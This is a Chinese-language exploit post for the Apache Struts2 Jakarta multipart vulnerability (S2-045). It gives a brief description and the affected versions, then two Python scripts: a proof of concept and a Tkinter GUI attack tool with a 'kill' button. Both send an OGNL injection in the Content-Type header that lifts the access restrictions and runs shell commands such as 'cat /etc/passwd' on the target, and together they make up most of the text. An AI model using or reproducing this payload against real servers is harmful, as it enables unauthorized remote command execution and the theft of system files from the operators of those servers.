Apache Struts2 POC & EXP

漏洞简介：Struts使用的Jakarta解析文件上传请求包不当，当远程攻击者构造恶意的Content-Type，可能导致远程命令执行。实际上在default.properties文件中，struts.multipart.parser的值有两个选择，分别是jakarta和pell（另外原本其实也有第三种选择cos）。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的，所以该漏洞的严重性需要得到正视。

漏洞描述：

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。

影响范围：

• Struts 2.3.5 – Struts 2.3.31
• Struts 2.5 – Struts 2.5.10

POC：

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

header1 ={
"Host":"xxxxxxx",
"Connection":"keep-alive",
"Refer":"xxxxxxxx",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}

def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("test.txt", "rb")})
    header["User-Agent"]="User-Agent=Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0"
    header["Content-Type"]='''%{(#nike='multipart/form-data').
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#_memberAccess?(#_memberAccess=#dm):
    ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
    (#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').
    (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
    (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
    (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
    (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().
    getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
    (#ros.flush())}'''
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()

poc()

EXP:

#coding:utf-8
import urllib2
from Tkinter import *
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



class START():

    def __init__(self,root):
        self.root=root
        self.show_W_Text = Text()
        self.show_url_ed = Label(root, text="str2")
        self.edit_url = Entry(root, text="输入地址")
        self.butt_whois = Button(root, text="kill",command=self.poc)
        self.show_url_ed.pack()
        self.edit_url.pack()
        self.butt_whois.pack()
        self.show_W_Text.pack()

    def poc(self):
        w_url = self.edit_url.get()
        text = self.show_W_Text
        register_openers()
        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
        header[
            "User-Agent"] = "User-Agent=Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0"
        header[
            "Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(w_url, datagen, headers=header)
        response = urllib2.urlopen(request).read()
        text.insert(1.0, response)


if __name__ == '__main__':

    root=Tk()
    root.title("str2 045")
    motion=START(root)
    mainloop()

解决办法：

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